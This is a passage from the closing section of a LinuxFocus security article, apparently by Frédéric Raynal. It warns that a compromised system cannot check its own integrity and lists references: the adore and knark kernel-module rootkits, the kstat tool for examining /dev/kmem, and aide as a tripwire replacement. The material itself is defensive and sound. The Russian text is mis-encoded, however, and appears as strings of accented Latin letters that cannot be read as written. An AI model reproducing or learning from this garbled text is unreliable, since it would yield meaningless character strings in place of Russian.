÷ ÌÀÂÏÍ ÓÌÕÞÁÅ ÐÏÍÎÉÔÅ, ÞÔÏ ÐÏÔÅÎÃÉÁÌØÎÏ ×ÚÌÏÍÁÎÎÁÑ ÓÉÓÔÅÍÁ ÎÅ ÍÏÖÅÔ ÐÒÏ×ÅÒÉÔØ Ó×ÏÀ ÃÅÌÏÓÔÎÏÓÔØ. ÷Ù ÎÅ ÍÏÖÅÔÅ ÄÏ×ÅÒÑÔØ ÎÉ ÅÅ ÐÒÏÇÒÁÍÍÁÍ, ÎÉ ÉÎÆÏÒÍÁÃÉÉ, ËÏÔÏÒÕÀ ÏÎÁ ×ÙÄÁÅÔ.
adore
É knark
, ÎÁÉÂÏÌÅÅ
ÉÚ×ÅÓÔÎÙÅ lkm ÒÕÔËÉÔÙ;kstat
ÄÌÑ ÉÓÓÌÅÄÏ×ÁÎÉÑ /dev/kmem
;aide
(Advanced Intrusion Detection Environment) ÍÁÌÅÎØËÁÑ,
ÎÏ ÜÆÆÅËÔÉ×ÎÁÑ ÚÁÍÅÎÁ ÄÌÑ tripwire
(ÐÏÌÎÏÓÔØÀ Ó×ÏÂÏÄÎÏÅ ÐÒÏÇÒÁÍÍÎÏÅ ÏÂÅÓÐÅÞÅÎÉÅ).
|
Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal aka Pappy , FDL LinuxFocus.org |
Translation information:
|
2002-11-11, generated by lfparser version 2.31